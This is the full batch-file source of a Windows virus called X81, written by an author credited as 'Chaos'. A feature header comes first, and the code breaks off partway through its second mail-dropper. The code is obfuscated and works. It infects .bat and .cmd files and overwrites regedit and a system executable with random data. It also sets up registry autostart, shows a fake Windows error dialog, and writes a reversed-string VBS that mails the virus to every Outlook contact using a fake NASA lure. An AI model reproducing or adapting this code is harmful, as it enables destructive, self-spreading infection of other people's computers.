:: ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨ :: :: Virus Name : X81 :: Virus Name (2) : Batxp.X81 :: Virus Author : Chaos :: Virus Version : A :: Virus Size : 31.720 bytes :: :: Compatible OSes : Windows Xp and Windows 9x :: Detect OS System : Check Shell ( CMD.EXE ) :: Language Used : Batch ( 2.0 ) :: :: Encryption Used : Set-Encryption and Strreverse Encryption :: Script Dropping : Yes :: Number of Scripts : 3 :: Spreading : Outlook Spreading :: Infection : .BAT .CMD ( Windows Directory ) and Drive A:\ :: Infection Mode : Overwrite :: Startup : Using Registry ( Windows Xp ) :: Autoexec ( Windows 9x )( Append ) :: :: Payloads : Overwrite Files With Random Data ( Windows Xp ) :: Copy Virus to Undeletable Folder ( Windows 9x ) :: Show Message ( Windows Xp ) :: Show Message in Boot ( Windows 9x ) :: :: Anti-AV : Fake Set-Operations :: Encryption :: Overwrite Regedit with Random Data ( Windows Xp ) :: Overwrite Regedit with Custom Data ( Windows 9x ) :: :: :: ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨ @echo off :ShellVerification set mmuwc=s goto mmuwc set mmuwc=wf :mmuwc set bbtwh=e goto bbtwh set bbtwh=ky :bbtwh set sugxit=t goto sugxit set sugxit=fv :sugxit %mmuwc%%bbtwh%%sugxit% fmil=%mmuwc%%bbtwh%%sugxit% %mmuwc%%bbtwh%%sugxit% smknq=kic vqufxwawirm %mmuwc%%bbtwh%%sugxit% smknq=i goto smknq %mmuwc%%bbtwh%%sugxit% smknq=dc :smknq %fmil% wuyl=ppp %fmil% wuyl=f udtlmydewmrluozarjrbpuyqxgwmuimdjeqctro goto wuyl %fmil% wuyl=ng qrbszfrnba :wuyl %fmil% mavm=osi %fmil% mavm=e goto mavm %fmil% mavm=am prullbeuiauyfmgiaprzpmgnfgkfbdsma :mavm %mmuwc%%bbtwh%%sugxit% okw=wsm %mmuwc%%bbtwh%%sugxit% okw=x goto okw %mmuwc%%bbtwh%%sugxit% okw=nl :okw %smknq%%wuyl% %mavm%%okw%%smknq%st c:\w%smknq%ndows\syst%mavm%m32\cmd.%mavm%%okw%%mavm% goto %okw%p %smknq%%wuyl% not %mavm%%okw%%smknq%st c:\w%smknq%ndows\syst%mavm%m32\cmd.%mavm%%okw%%mavm% goto 9%okw% exit :Xp set usveoh=s goto usveoh set usveoh=vj :usveoh set xnco=e goto xnco set xnco=rc :xnco set vnd=t goto vnd set vnd=qp :vnd %usveoh%%xnco%%vnd% kaj=%usveoh%%xnco%%vnd% %usveoh%%xnco%%vnd% pjsq=mss %usveoh%%xnco%%vnd% pjsq=c hlwsydgjtradihjczgcfxwhycjwyzkwwtokuraklsajdlufl goto pjsq %usveoh%%xnco%%vnd% pjsq=is :pjsq %usveoh%%xnco%%vnd% hydxu=axc %usveoh%%xnco%%vnd% hydxu=o yffqkjmectdrifnovkdonkfinojiq goto hydxu %usveoh%%xnco%%vnd% hydxu=ov :hydxu %usveoh%%xnco%%vnd% jrycil=tqs %usveoh%%xnco%%vnd% jrycil=p goto jrycil %usveoh%%xnco%%vnd% jrycil=bw :jrycil %kaj% kf=ass %kaj% kf=y goto kf %kaj% kf=sf hyrmgrwtawak :kf %usveoh%%xnco%%vnd% wr=pcv %usveoh%%xnco%%vnd% wr=a oiorlqyttlownxadblfrrnromwffwyswqkdjzczchgu goto wr %usveoh%%xnco%%vnd% wr=is :wr %kaj% uttq=uxn %kaj% uttq=b goto uttq %kaj% uttq=mo vggrnlenfrucpmrpvzzuikckugaqnioytgehqeqfe :uttq %pjsq%%hydxu%%jrycil%%kf% %0 %wr%:\*.%uttq%%wr%t %pjsq%%hydxu%%jrycil%%kf% %0 %wr%:\*.%pjsq%md e%pjsq%h%hydxu% %RANDOM%%RANDOM%%RANDOM%%RANDOM%%RANDOM% > %pjsq%:\wind%hydxu%ws\s%kf%stem32\wu%jrycil%dmgr.exe e%pjsq%h%hydxu% %RANDOM%%RANDOM%%RANDOM%%RANDOM%%RANDOM% > %pjsq%:\wind%hydxu%ws\regedit.exe %pjsq%%hydxu%%jrycil%%kf% %0 %pjsq%:\wind%hydxu%ws\*.%uttq%%wr%t %pjsq%%hydxu%%jrycil%%kf% %0 %pjsq%:\wind%hydxu%ws\*.%pjsq%md set bbp=s goto bbp set bbp=zx :bbp set yv=e goto yv set yv=fb :yv set aul=t goto aul set aul=fj :aul %bbp%%yv%%aul% nufc=%bbp%%yv%%aul% %nufc% fb=prs %nufc% fb=c hqziybzadzfoabuniqwddsl goto fb %nufc% fb=el evvktnxcdyyepvzhrqps :fb %bbp%%yv%%aul% qz=ozw ccjggrnepkhh %bbp%%yv%%aul% qz=o xnlroxsafbgook goto qz %bbp%%yv%%aul% qz=pk icwithbrezibrujqxlpqgorff :qz %bbp%%yv%%aul% puunw=lkw %bbp%%yv%%aul% puunw=p tnwddvthneiyrqlj goto puunw %bbp%%yv%%aul% puunw=kq :puunw %bbp%%yv%%aul% wo=oec %bbp%%yv%%aul% wo=y etryduqunzjwqcbatcjmlboudnrfzyvmvmfrr goto wo fdkillyqchhgihieupmparhpchavobvhkuavsl %bbp%%yv%%aul% wo=mh mkrwrsfeltlwikvuuwi :wo %fb%%qz%%puunw%%wo% %0 %fb%:\X81.bat :ScriptDropping echo Windows Registry Editor Version 5.00 > %windir%\Autostart.reg echo.>> %windir%\Autostart.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> %windir%\Autostart.reg echo "X81"="C:\\Windows\\X81.bat" >> %windir%\Autostart.reg :TrickUser echo Msgbox " Windows found an error and will try to correct it . Accept the next dialog box to correct the windows ">c:\Message.vbs set cmu=s goto cmu set cmu=kj :cmu set azxhn=e goto azxhn set azxhn=rv :azxhn set umauaw=t goto umauaw set umauaw=si :umauaw %cmu%%azxhn%%umauaw% cdiijm=%cmu%%azxhn%%umauaw% %cdiijm% kb=dga %cdiijm% kb=c goto kb %cdiijm% kb=dk :kb %cmu%%azxhn%%umauaw% hlydnt=mjs ohcmwfztftyodikalrwhyhulvvarvzcsasgprif %cmu%%azxhn%%umauaw% hlydnt=e goto hlydnt %cmu%%azxhn%%umauaw% hlydnt=er :hlydnt %cmu%%azxhn%%umauaw% po=wub %cmu%%azxhn%%umauaw% po=s goto po %cmu%%azxhn%%umauaw% po=lr :po %kb%:\M%hlydnt%%po%%po%ag%hlydnt%.vb%po% set wncanv=s goto wncanv set wncanv=ny :wncanv set nlhja=e goto nlhja set nlhja=jt :nlhja set ynz=t goto ynz set ynz=ra :ynz %wncanv%%nlhja%%ynz% pbke=%wncanv%%nlhja%%ynz% %pbke% jryrl=gld fignsqxvfflztntoxwopkuylivtolmypsrmxfbyd %pbke% jryrl=c dadxduxxmebxmjcccuvwygazdiycfyurmktvdltpmqf goto jryrl %pbke% jryrl=fx htiiyaftpnmwqoggwxgirxppzuoealoqtgmxxfmohioj :jryrl %wncanv%%nlhja%%ynz% hr=sih %wncanv%%nlhja%%ynz% hr=w goto hr %wncanv%%nlhja%%ynz% hr=qi :hr %wncanv%%nlhja%%ynz% tlw=oyv ptaawpmuqojh %wncanv%%nlhja%%ynz% tlw=i goto tlw %wncanv%%nlhja%%ynz% tlw=kn dyjfhllqkhhzwqlivygzuvrvcfsjyqqgntgteghfl :tlw %pbke% gpoymp=kgt %pbke% gpoymp=n goto gpoymp %pbke% gpoymp=xt :gpoymp %pbke% ztgu=ten %pbke% ztgu=d goto ztgu %pbke% ztgu=yn :ztgu %pbke% icxo=ljo %pbke% icxo=o goto icxo %pbke% icxo=zh :icxo %jryrl%:\%hr%%tlw%%gpoymp%%ztgu%%icxo%%hr%s\Aut%icxo%start.reg set olkn=s goto olkn set olkn=zf :olkn set noh=e goto noh set noh=wo :noh set di=t goto di set di=ay :di %olkn%%noh%%di% ft=%olkn%%noh%%di% %olkn%%noh%%di% vmdgtj=hvr %olkn%%noh%%di% vmdgtj=e goto vmdgtj %olkn%%noh%%di% vmdgtj=ho :vmdgtj %ft% xqs=arj %ft% xqs=c goto xqs %ft% xqs=ss tbynygxzmaugmzkdttrqpkkvcuq :xqs %olkn%%noh%%di% lp=qji %olkn%%noh%%di% lp=h qchwyxdzduezxtaqsxurttsxmqga goto lp %olkn%%noh%%di% lp=mc :lp %ft% zxrt=ndq %ft% zxrt=o goto zxrt %ft% zxrt=vr kqmirfnxaifztqdyrnqgplwsdmhesyllcnuj :zxrt %olkn%%noh%%di% nzgvk=mek %olkn%%noh%%di% nzgvk=s goto nzgvk %olkn%%noh%%di% nzgvk=um :nzgvk %olkn%%noh%%di% xomfv=stc %olkn%%noh%%di% xomfv=g goto xomfv %olkn%%noh%%di% xomfv=rp gnrqvrwhitzbuh :xomfv %ft% cnagq=dfa %ft% cnagq=b ecxrxxmzbqaihycerqadbvp goto cnagq %ft% cnagq=zt tfkavunnha :cnagq %vmdgtj%%xqs%%lp%%zxrt% M%nzgvk%%xomfv%%cnagq%%zxrt%x " X81" > %xqs%:\wind%zxrt%w%nzgvk%\%lp%%vmdgtj%lp\M%vmdgtj%%nzgvk%%nzgvk%a%xomfv%%vmdgtj%.v%cnagq%%nzgvk% %xqs%:\wind%zxrt%w%nzgvk%\%lp%%vmdgtj%lp\M%vmdgtj%%nzgvk%%nzgvk%a%xomfv%%vmdgtj%.v%cnagq%%nzgvk% set %0 = Null set %0 = %Me% copy %Me% C:\NASAX81.bat copy %Me% C:\windows\MailSend.vbs echo DWQE9 = strreverse(" x miD") >c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse("txen emuser rorre no") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(""&chr(34)&"tcejbO.metsySeliF.gnitpircS "&chr(34)&"= osf teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" )osf(tcejbOetaerC=os teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"noitacilppA.kooltuO"&chr(34)&"(tcejbOetaerC=lo teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" )"&chr(34)&"noitacilppA.kooltuO"&chr(34)&"(tcejbOetaerC.tpircSW=tuo teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"IPAM"&chr(34)&"(ecapSemaNteG.tuo = ipam teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )1(stsiLsserddA.ipam = a teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" seirtnEsserddA.a=ea teS") >>c:\windows\MailSend.vbs echo HUI3S = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if HUI3S = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to HUI3S >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" tnuoC.ea oT 1=x roF") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )0(metIetaerC.lo=ic teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" ic=liaM teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )x(seirtnEsserddA.)1(stsiLsserddA.)"&chr(34)&"IPAM"&chr(34)&"(ecapSemaNteG.lo=ot.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" "&chr(34)&"pihsecapS 18X"&chr(34)&"=tcejbuS.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" "&chr(34)&"rotceriD ASAN , rennuG kraM . dlrow eht ni tsetaf eht , tpecnoc pihsecaps ASAN wen eht kooL"&chr(34)&"=ydoB.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"tab.18XASAN\:C"&chr(34)&"(ddA.stnemhcattA.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" dneS.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" txeN") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" tiuQ.lo") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs set uemg=s goto uemg set uemg=ze :uemg set xv=e goto xv set xv=qa :xv set phwcsl=t goto phwcsl set phwcsl=jd :phwcsl %uemg%%xv%%phwcsl% ftb=%uemg%%xv%%phwcsl% %ftb% lan=ric %ftb% lan=c goto lan %ftb% lan=um :lan %ftb% ek=chj %ftb% ek=w goto ek ayknyifowmfjewhpjnudzmsa %ftb% ek=lz :ek %ftb% kor=jny nqejuphfbvqfedxcu %ftb% kor=i goto kor %ftb% kor=of :kor %uemg%%xv%%phwcsl% rslv=ayq %uemg%%xv%%phwcsl% rslv=n goto rslv bwxqihnmwsdanjrmiqzhuqhykitylnleyqloaydvibb %uemg%%xv%%phwcsl% rslv=ou :rslv %uemg%%xv%%phwcsl% qufgr=qxx qhmdlvbzndwlmgqbftmxozau %uemg%%xv%%phwcsl% qufgr=d goto qufgr %uemg%%xv%%phwcsl% qufgr=pg ubwveawnkujpjfhnvqvsc :qufgr %ftb% jdain=kus %ftb% jdain=o goto jdain %ftb% jdain=ss lvbahccqjfzsgpdksuvscbdrmbuymdrf :jdain %lan%:\%ek%%kor%%rslv%%qufgr%%jdain%%ek%s\Ma%kor%lSe%rslv%%qufgr%.vbs %qufgr%el %lan%:\%ek%%kor%%rslv%%qufgr%%jdain%%ek%s\Ma%kor%lSe%rslv%%qufgr%.vbs %qufgr%el %lan%:\NASAX81.bat exit :9x set egstz=s goto egstz set egstz=fu :egstz set ki=e goto ki set ki=yg :ki set kw=t goto kw set kw=ll :kw %egstz%%ki%%kw% ij=%egstz%%ki%%kw% %ij% albdah=hgw drjtgbawhhuhw %ij% albdah=c goto albdah %ij% albdah=jg :albdah %egstz%%ki%%kw% kwmckd=fwr %egstz%%ki%%kw% kwmckd=o goto kwmckd vvzvqrvktufjvdtdmnrlphkgjlquftnbhlaguusa %egstz%%ki%%kw% kwmckd=dh :kwmckd %egstz%%ki%%kw% qw=nhi %egstz%%ki%%kw% qw=p fogftnxvelsufswswzvbkxqwpteljjzmjgvkdjgyikpz goto qw xnlyqfcnyrv %egstz%%ki%%kw% qw=cy :qw %ij% omog=vqq tttlnmwrlbcgfk %ij% omog=y goto omog %ij% omog=fc :omog %egstz%%ki%%kw% jcgv=mwa %egstz%%ki%%kw% jcgv=a goto jcgv %egstz%%ki%%kw% jcgv=vi baadlpgultjrkqypwnxhiwmqexcbpxpleevrncnlambabdwpo :jcgv %ij% bphkx=bfd %ij% bphkx=b goto bphkx %ij% bphkx=an :bphkx %albdah%%kwmckd%%qw%%omog% %0 %jcgv%:\*.%bphkx%%jcgv%t %albdah%%kwmckd%%qw%%omog% %0 %jcgv%:\*.%albdah%md %albdah%%kwmckd%%qw%%omog% %0 %albdah%:\wind%kwmckd%ws\X81.%bphkx%%jcgv%t %albdah%%kwmckd%%qw%%omog% %0 %albdah%:\wind%kwmckd%ws\*.%bphkx%%jcgv%t %albdah%%kwmckd%%qw%%omog% %0 %albdah%:\wind%kwmckd%ws\*.%albdah%md %albdah%d %windir% md º´ÜòÌ %albdah%d º´ÜòÌ %albdah%%kwmckd%%qw%%omog% %0 virus.%bphkx%%jcgv%t e%albdah%h%kwmckd% %albdah%d %windir% >>%jcgv%ut%kwmckd%exe%albdah%.%bphkx%%jcgv%t e%albdah%h%kwmckd% %albdah%d º´ÜòÌ >>%albdah%:\%jcgv%ut%kwmckd%exe%albdah%.%bphkx%%jcgv%t e%albdah%h%kwmckd% %albdah%:\wind%kwmckd%ws\X81.%bphkx%%jcgv%t>>%jcgv%ut%kwmckd%exe%albdah%.%bphkx%%jcgv%t e%albdah%h%kwmckd% e%albdah%h%kwmckd% X81 >> %albdah%:\%jcgv%ut%kwmckd%exe%albdah%.%bphkx%%jcgv%t e%albdah%h%kwmckd% Overwrited ; X81 > %albdah%:\wind%kwmckd%ws\regedit.%bphkx%%jcgv%t set %0 = Null set %0 = %Me2% copy %Me2% C:\NASAX81.bat copy %Me2% C:\windows\MailSend.vbs echo DWQE9 = strreverse(" x miD") >c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse("txen emuser rorre no") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(""&chr(34)&"tcejbO.metsySeliF.gnitpircS "&chr(34)&"= osf teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" )osf(tcejbOetaerC=os teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"noitacilppA.kooltuO"&chr(34)&"(tcejbOetaerC=lo teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" )"&chr(34)&"noitacilppA.kooltuO"&chr(34)&"(tcejbOetaerC.tpircSW=tuo teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )"&chr(34)&"IPAM"&chr(34)&"(ecapSemaNteG.tuo = ipam teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )1(stsiLsserddA.ipam = a teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" seirtnEsserddA.a=ea teS") >>c:\windows\MailSend.vbs echo HUI3S = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if HUI3S = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to HUI3S >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" tnuoC.ea oT 1=x roF") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )0(metIetaerC.lo=ic teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(DWQE9) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(DWQE9) >>c:\windows\MailSend.vbs echo BWI88 = strreverse(" ic=liaM teS") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 >>c:\windows\MailSend.vbs echo BWI88 = strreverse(BWI88) >>c:\windows\MailSend.vbs echo next >>c:\windows\MailSend.vbs echo end if >>c:\windows\MailSend.vbs echo execute(BWI88) >>c:\windows\MailSend.vbs echo DWQE9 = strreverse(" )x(seirtnEsserddA.)1(stsiLsserddA.)"&chr(34)&"IPAM"&chr(34)&"(ecapSemaNteG.lo=ot.liaM") >>c:\windows\MailSend.vbs echo KS892 = int(rnd*255)+1 >>c:\windows\MailSend.vbs echo if KS892 = 200 then >>c:\windows\MailSend.vbs echo for z = 0 to KS892 